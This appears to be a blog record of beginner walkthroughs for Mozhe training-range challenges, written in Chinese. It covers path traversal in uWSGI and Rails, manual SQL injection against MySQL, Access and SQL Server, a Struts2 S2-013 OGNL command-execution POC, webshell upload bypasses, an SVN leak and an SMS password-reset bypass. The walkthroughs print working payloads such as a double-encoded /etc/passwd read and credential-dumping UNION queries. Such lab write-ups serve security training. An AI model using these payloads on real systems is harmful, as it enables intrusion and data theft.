墨者靶场入门打靶记录

Xls文件分析溯源

背景介绍

墨者机缘巧合下得到了一个Xls文件,打开却发现该文件带密码验证。

实训目标

1、了解Xls文件的密码猜解手段;

解题方向

对文件作密码猜解手段。

解题过程

首先启动靶场,根据要求下载1.zip文件

解压1.zip得到题目(后缀为xlsx的表格文件)

一开始没有思路,于是百度了一下,发现大多数是改后缀.rar和vba脚本

改后缀会提示压缩包损坏;而因为进不去文件,vba脚本根本无效。

于是破解这种题就只能采取暴力破解

猜解密码是四位组合,如果不猜解,那么用工具跑真的太慢了!

于是生成字典,导入破解软件(advanced office password recovery)中

最终成功破解4位密码,得到key

或者使用 PassperforExcel软件进行暴力破解

uWSGI 漏洞复现(CVE-2018-7490)

背景介绍

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

实训目标

1、学会根据漏洞编号查找漏洞详情;
1、了解uWSGI CVE-2018-7490漏洞形成原理;
2、掌握uWSGI CVE-2018-7490漏洞利用方法;

解题方向

利用搜索工具了解CVE-2018-7490漏洞详情。再利用漏洞获取根目录key.txt的值。

受影响的版本

uWSGI 2.0.17之前的版本

漏洞分析

uWSGI PHP Plugin < 2.0.17没能妥善处理DOCUMENT_ROOT检测的--php-docroot选项,导致攻击者可以通过带有..序列的特制URL请求,达到目录遍历效果。

打开靶场发现Server API 是uWSGI

image-20220505233738596

所以根据CVE-2018-7490的原理,我们可以实现目录穿越

直接构造…/会被过滤

image-20220505234126065

所以我们URL编码一下再访问

image-20220505234145176

拿到了key

Ruby On Rails漏洞复现(CVE-2018-3760)

背景介绍

Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。

实训目标

1、学会根据漏洞编号查找漏洞详情;
2、了解Ruby On Rails(CVE-2018-3760)形成原理;

3、学习Ruby On Rails(CVE-2018-3760)利用方法;

解题方向

利用已知漏洞读取文件passwd;

影响版本

版本 <=Sprockets 3.7.1

漏洞分析

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

解题过程

直接使用file协议进行文件读取

image-20220506000648952

发现 // 被过滤掉了,那么重新编码一下

image-20220506001456757

虽然还是报错了,但是显示出了我们能够访问的路径,所以我们利用这个路径再来跳转一下

1
http://124.70.64.48:40247/assets/file:%2f%2f/usr/src/blog/app/assets/config/

接下来要读取…/…/…/…/…/…/…/etc/passwd文件,需要编码两次

1
%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34

再来拼接一下

1
http://124.70.64.48:40247/assets/file:%2f%2f/usr/src/blog/app/assets/config/%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34

进行访问得到key

image-20220506000728276

Ruby On Rails漏洞复现(CVE-2019-5418)

背景介绍

Ruby On Rails是一个著名的Ruby Web开发框架,它在开发环境中使用Sprockets作为静态文件服务器。Sprockets是一个Ruby库,用于编译和分发静态资源文件。

实训目标

1、学会根据漏洞编号查找漏洞详情;
2、了解Ruby On Rails(CVE-2019-5418)形成原理;
3、学习Ruby On Rails(CVE-2019-5418)利用方法;

解题方向

利用已知漏洞读取文件passwd;

影响版本

Rails全版本

其中修复版本

6.0.0.beta3,

5.2.2.1

5.1.6.2

5.0.7.2

4.2.11.1

漏洞分析

在 Sprockets 3.7.1及之前版本中存在一个两次解码的路径穿越漏洞。而2019则主要是由于使用了为指定参数的render file来渲染应用之外的视图,修改访问某控制器的请求包,通过“…/…/…/…/”来达到路径穿越,再通过“两个左大括号”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

解题过程

抓取访问robots文件的数据包

然后修改accept为:…/…/…/…/…/…/…/…/etc/passwd加两个左大括号

image-20220506002617481

SQL手工注入漏洞测试(MySQL数据库)

打开靶场是一个登录界面,常见思路是

首先是万能密码测一波

然后是弱口令爆破一下

最后无果就是尝试sql注入

image-20220508105328051

在这题,注入点不是在账号密码处,而是在这个公告这儿

image-20220508105418194

测是否存在sql注入

1
id=1 or 1=1

返回正常,说明后面的语句被解析执行了

Snipaste_2022-05-08_10-59-45

测字段

1
id=-1 order by 4 

这里测出来有4个字段,为什么是-1,是因为这里只能用报错注入

测回显字段

1
id=-1 union select 1,2,3,4

2,3位置有回显

image-20220508110447186

测数据库

1
id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4

image-20220508111228644

两个表,先去第一个表里查一查(这里我用了group_concat函数,这个函数的作用自己去网上查一查,我就不解释了,如果你不想用这个函数,就可以用limit 0,1 这样来一个一个测试,我觉得用group_concat效率更高,但是如果这个函数被禁止使用了,就只能用limit了)

测表中列名

1
id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='StormGroup_member'),3,4

一共4个字段

image-20220508111700797

这个表里一共4个字段

测表里的数据

1
id=-1 union select 1,2,(select group_concat(id,"  ",name,"  ",password,"  ",status,"=======") from StormGroup_member),4

image-20220508112331518

可以看出id都是1,账号名称都是mozhe,密码应该是md5加密过得,最后一个status,第二个账号是1,我先用第二个账号的密码试一试,md5解密去这儿,密码是884139

第二个账号成功登录

image-20220508112533869

Apache Struts2远程代码执行漏洞(S2-013)复现

背景介绍

某日,安全工程师"墨者"对一单位业务系统进行授权扫描,在扫描过程中,发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞,不知道运维人员是否修补了漏洞。

实训目标

1、了解Apache Struts2框架;

2、了解Apache Struts2远程代码执行漏洞(S2-013);

3、了解Apache Struts2远程代码执行漏洞形成原理;

4、掌握Apache Struts2远程代码执行漏洞利用方法;

解题方向

验证Apache Struts2远程代码执行漏洞(S2-013)。

由于URL和锚标记的includeParams属性中存在的漏洞允许远程命令执行。

影响版本

2.0.0 - 2.3.14.1

漏洞分析

Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。

解题过程

经过搜索引擎一搜,会发现这个系统版本存在的漏洞是CVE-2013-1966

image-20220508160250436

虽然题目有提示,但是在真实场景中还是只有自己扫一下

image-20220508161200227

扫出来的是发现的是001和016,所以扫描工具也不是百分百准的哦

当然网上也有工具一键拿getshell

image-20220508161319854

POC为

1
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('ls /').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

不过要记得URL编码

image-20220508161736857

自己对应着修改exec里面的命令就行

参考链接:https://www.cnblogs.com/peace-and-romance/p/15635493.html

参考链接:https://www.hacking8.com/bug-product/Apache-Struts/CVE-2013-1966-s2-013.html

电子数据取证-流量分析(第1题)

背景介绍

某web安全工程师在网络中捕获到一段可疑流量,发现有人将机密数据隐藏在图片中传输了出去,你能分析出其中的奥秘吗?

实训目标

1、掌握“wireshark”的基本使用方法;

2、了解数据在网络中传输的过程和协议;

解题方向

使用“wireshark”过滤语句过滤流量。

解题过程

下载文件后,用wireshark打开

过滤HTTP包,会发现有一张图片数据包

image-20220508164634241

选择追踪流-HTTP流

image-20220508164711559

可以直接搜索flag,就出来了

image-20220508164755525

SVN信息泄露漏洞分析(第1题)

背景介绍

SVN(subversion)是源代码版本管理软件。在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

实训目标

1、了解SVN软件的工作方式;
2、掌握SVN漏洞利用基本方法;

解题方向

找到隐藏文件夹遍历文件。

漏洞分析

当svn使用了checkout命令后就会生成.svn文件,里面存储着备份信息。

svn信息泄露漏洞主要利用了里面的entrist文件,通过.svn/entrist可以下载里面的所有代码,但是只能作用在svn1.6之前的版本;

第二个作用在svn1.7后的版本,svn1.7后的版本引入一个名为wc.db的数据库数据存放文件来管理文件,通过访问.svn/wc.db可以下载到本地。

所以可以构造两个url

1
2
/.svn/entrist
/.svn/wc.db

解题过程

扫描过程中,key.php都扫出来了

image-20220508165852480

一访问发现是一串md5值,跑去解密发现需要付费,我…

转而找其他办法

然后下载到了dc.db数据库文件

用SQLiteStudio软件打开,挨个查询了一下表,在NODES表里发现了Key is here.php信息

key就在这个文件里面

image-20220508171414787

SQL手工注入漏洞测试(Access数据库)

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Access,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Access的数据结构;
4.了解字符串的MD5加解密;

解题方向

手工进行SQL注入测试,获取管理密码登录。

解题过程

1
2
3
4
5
6
7
8
9
10
11
id=1 order by 4          
#判断有几个字段

id=1 and exists(select * from admin)
#盲猜admin表,也可以用于猜字段名等等

id=1 union select 1,2,3,4 from admin
#看回显字段,access数据库查回显的时候要跟上表

id=1 union select 1,2,passwd,4 from admin
#查看列名,查到的有id,username,passwd字段

所以只要查username字段和passwd字段,就能看见账号密码了

image-20220508194332764

这个题呢肯定还是得有点经验才行,比如我们在表里设置的一些常见的字段名id,username,password等等,最好是自己在网上搜集一些字典,然后根据那里面最最最常用的来试试。

参考链接:https://www.csdn.net/tags/MtTaEgwsMTM5NDQ3LWJsb2cO0O0O.html

参考链接:https://blog.csdn.net/qq_57307348/article/details/122904162

SQL手工注入漏洞测试(Sql Server数据库)

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Sql Server的数据结构;
4.了解字符串的MD5加解密;

解题方向

手工进行SQL注入测试,获取管理密码登录。

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
id=2 order by 4     
#测出来还是4个字段

id=-2 union all select '1','2','3','4'
#sql server数据库要带上all关键字才行,后面因为数据量里的字段是字符串型的,所以如果你查1,2,3,4还是会报错,所以这里得注意,是个坑

id=-2 union all select '1',db_name(),'3','4'
#测数据库名

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
#猜表名,后面的xtype='u'表示的是查看用户表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',null
#查询除了manage以外的其他表

union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
#猜第一列的列名

union all select null,(select top 1 col_name(object_id('manage'),2 from sysobjects),null,null
#猜第二的列名


这里已经查到了manage表

image-20220508201214680

然后猜解列名得到了id,username,password列名

最后直接进行查水表

1
id=-2 union all select null,username, password ,null from manage

把密码拿去md5解密,就能成功登录

image-20220508201715004

WebShell文件上传漏洞分析溯源(第2题)

背景介绍

安全工程师"墨者"在单位办公内网做日常检测时,发现某部门为了方便内部人员上传聚餐的活动图片,在某服务器上新增一简单的图片上传功能。然而这个存在一个很严重的高危漏洞。

实训目标

1、掌握浏览器对JavaScript的禁用方法;
2、掌握表单数据通过POST提交数据时,对数据的修改方法;
3、了解WebShell是什么及其作用;
4、了解JavaScript基本语法;
5、了解JavaScript对文件扩展名的验证;
6、了解PHP程序的WebShell脚本的执行原理;

解题方向

绕过页面对可执行文件上传的限制,利用WebShell读取服务器上的源代码内容。

解题过程

image-20220508202007846

PHP环境,所以得上传PHP的马儿,而且看见Nginx,脑袋里就要反射出漏洞

1.对任意文件名,在后面添加任意文件名.php的解析漏洞,如原文件名是tets.jpg,可以添加为

​ test.jpg/x.php进行解析攻击。eg:http://www.test.com/Test/1.jpg/1.php

2.对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

​ Nginx 0.5.*

​ Nginx 0.6.*

​ Nginx 0.7 <= 0.7.65

3.如果允许的话可以把php后缀先改为jpg等格式,然后用bp抓包,再改为.php后缀

4.第四种方法就是因为这里的控制文件类型是前端js在进行验证,所以我们可以设置禁用js,然后直接选择php马儿上传,后缀都不用改

image-20220508210051116

我这里用第三种方法。拦包改后缀

image-20220508205139702

返回包里有文件上传的路径:/uploads/evals.php

上传后用蚁剑连接

image-20220508205654497

内部文件上传系统漏洞分析溯源

背景介绍

在为某公司检测后台页面时,你发现了一个上传页面,该页面做了一些防护,你需要尝试绕过并上传webshell,以获得网站根目录访问权限

实训目标

1、熟悉常见中间件存在的解析漏洞;
2、熟悉一句话木马的使用与制作
3、熟悉常见的上传漏洞利用方法

解题方向

1、试探允许上传的文件类型
2、观察服务器在处理完上传任务后返回的内容,获取上传路径
3、尝试修改上传路径,观察服务器是否允许写入权限

解题过程

dir.asp/任意文件名 | Test.asp;任意文件名

IIS6.0 在解析 asp 格式的时候有两个解析漏洞(目录解析漏洞和文件名解析漏洞)。
1.如果目录名以 .asp .asa .cer .cdx 字符串结尾,那么这个目录下的所有文件都会按照 asp 格式去解析。 eg:Test.asp/1.jpg
2.只要文件名中包含有 .asp .asa .cer .cdx 会优先按照 asp 格式来解析。 eg:Test.asp;.jpg

IIS7.0/7.5 是对 php 解析时有一个类似 Nginx 的解析漏洞,对任意文件名只要在 URL 后追加上字符串 /任意文件名.php 就会按照 php 的方式去解析。
eg:http://www.test.com/Test/test.jpg/1.php

这个题是IIS6.0

image-20220508213320953

然后把我们的asp马儿文件改为jpg的后缀

image-20220508214618820

最重要的一步是修改目录名为1.asp

把返回地址记录下来,然后拼接连接,就可以用蚁剑去连接了

image-20220508214433260

这里的漏洞原理就是利用的是目录解析漏洞,因为目录里含有.asp字符,所以这个.asp文件夹下的所有的文件都会以asp的格式去解析。

image-20220508214538164

登录密码重置漏洞分析溯源

背景介绍

1、通过“朝阳群众”的举报,证实手机号“17101304128”在系统平台从事非法集资、诈骗活动。
2、请重置“17101304128”登录密码,以便登录获取完整的数字证据

实训目标

1、了解短信验证的方式;
2、了解短信验证绕过的方法;
3、掌握密码重置的一种法防;

解题方向

根据页面提示,对目标号码和自己注册的号码进行测试。

解题过程

进来发现是一个登录界面,要求我们将17101304128这个手机号的密码进行重置

image-20220620222636767

在图中已经发现已注册的手机号,所以在这里使用调换验证码的思路,更改171的密码需要知道验证码,但是我们目前只知道188的验证码,所以我们就让171的手机使用188的验证码进行密码重置

  1. 获取188的验证码,进行填写

image-20220620223318763

  1. 将188的手机号换成171的,并且再次点击获取验证码

image-20220620223407880

  1. 此时再点击重置密码,完成171手机号的密码重置

​ 得到key:mozhee180ffcbd9a726ba30fb1d6f3bb

image-20220620223458591